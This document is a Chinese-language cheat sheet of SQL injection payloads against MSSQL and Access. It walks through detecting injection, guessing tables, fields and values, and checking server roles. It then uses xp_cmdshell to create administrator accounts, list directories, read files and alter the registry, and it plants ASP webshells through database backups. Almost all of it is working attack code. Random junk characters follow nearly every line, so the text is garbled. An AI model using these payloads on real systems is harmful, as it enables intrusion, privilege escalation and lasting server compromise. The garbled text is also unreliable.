1.判断是否有注入;and 1=1 ;and 1=2 ` 5n^DP*X
2.初步判断是否是mssql ;and user>0 rNICK2Ah
&~'i,v|E
3.注入参数是字符'and [查询条件] and ''=' `Om
W#\
?;A\>sP
4.搜索时没过滤参数的'and [查询条件] and '%25'=' V P(JV
OS1f}<
5.判断数据库系统 `|mV~F|
,+X:#$
;and (select count(*) from sysobjects)>0 mssql bK{ VjXF
BU|)lU5)z
;and (select count(*) from msysobjects)>0 access AmJdZs|/
HkY#i;%N
X{ :3UTBR
;p87^:
6.猜数据库 ;and (select Count(*) from [数据库名])>0 9P*f
&da:{
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 (B%[NC6
qpzyl~g:C
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ]YOWCFAQot
@z:E]O}
9.(1)猜字段的ascii值(access) S+*>""=
i~)EUF
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 E33WT{H&_'
bf.yA:~U
(2)猜字段的ascii值(mssql) 24wr=5p]Q
S,Q(,e^&
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 &he:_p$x
=J]M#6N0
10.测试权限结构(mssql) B
]sVlbt
wFjQ1<s=
/ %iS\R%ca
N^AlhR^
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- mHa~c(x
h iK}&
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- L(9AcP
L[<CEk
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ux,eY
h"'}Z^
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- |?hsMN
G[u{! 2RS
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- {,?Gj@$
U* uMMb}$
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- )*Wz5x
sCp)o,;
;and 1=(select IS_MEMBER('db_owner'));-- 1QnaZhu'
ly6dl
[;o>q;75Jz
R<%{I)
11.添加mssql和系统的帐户 jVHS1Vsei
yU"#2 *C
;exec master.dbo.sp_addlogin username;-- 8 qZbsZi4
;exec master.dbo.sp_password null,username,password;-- ZI8@ 6 L\
"KSdC8MS
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- J6ed
e)}=T0
s
;exec master.dbo.xp_cmdshell 'net user username password 7#X`D
~yV?*"Hi
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- qT&zg@m
}lCQ+s!
;exec master.dbo.xp_cmdshell 'net user username password /add';-- M(uJ'Ud/!
&JD^\+7U:
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- +_QcLuV,
UIU6rilB
J3B+WD]
GiXs`Yt|
12.(1)遍历目录 sGpAaGY>
-KfMKN~
;create table dirs(paths varchar(100), id int) 91DevizXx
"
RIt
;insert dirs exec master.dbo.xp_dirtree 'c:\' m Ph=bG
.Yz^r?3t
;and (select top 1 paths from dirs)>0 @\>7
wt_'
NLUO{'uUW
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
'-$cvH7_
B|{E[]iK
;Cjj_9e,:
l)'*jZ
(2)遍历目录 MmFtG-
,f<J4U:Y
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- #
@7I
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1N5lI97j
KP$AT}D
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 a4Z e!l(
][YuJUK8
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ikb77?.
L|;sB=$'{
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 WGyPyG#Fl
vj]h[=:
mHJGpJ=a-
pd.unEWwF
13.mssql中的存储过程
AsvH@\\
NJ;m&Tm,DF
xp_regenumvalues 注册表根键, 子键 Y]5MM:mI
WLta{A?
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 H]f[r~
zz(EH<>
xp_regread 根键,子键,键值名 u1d%wOY
+Hp`(^(
;exec xp_regread {+3g*s/HI
(.L?sDQ</z
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ] ;CJ6gM~
}OTJ{eG
xp_regwrite 根键,子键, 值名, 值类型, 值 d>Nh<PqH6
x3.,zfWs
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 IYH4@v/#
3UKd=YsJ
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Kb1@ +
5w+&plIJ
xp_regdeletevalue 根键,子键,值名 :_ =YH+bZ
2iO{*cB
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 :uC9 #H"b
c++q5bg@)
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 !,]c}Y{i
^L8:..+:
GaL UZviJ_
LnsYtkbr
14.mssql的backup创建webshell G%=
gCR
)|AxQPd
use model /N obS'd
Pf?15POg&B
create table cmd(str image); F~bDg tN3
GdrVH,j
insert into cmd(str) values (''); U3 UA
M=SrZ,W
backup database model to disk='c:\l.asp'; g-NrxyTBlx
|YfJ#Agm+
i&DUlmt)f
?32i1F!
15.mssql内置函数 8F's9c,
oL<5hN*D
;and (select @@version)>0 获得Windows的版本号 `>)pqI%L[g
BglbQ'6p
;and user_name()='dbo' 判断当前系统的连接用户是不是sa f|)~_JH
"}H2dn2n
;and (select user_name())>0 爆当前系统的连接用户 )@y7 qb
2$A "{2G
;and (select db_name())>0 得到当前连接的数据库 )e6sg]#
x-4d VKE*z
+ ef>ek
{k[dg0UV
16.简洁的webshell &!M6{O=~
tYSfeU
use model K]|hkp&
&fU48n1Uh
create table cmd(str image); "QD>:G;u
)V*`(dn'zm
insert into cmd(str) values (''); b@K1;A! S
imhE=6{
backup database model to disk='g:\wwwtest\l.asp';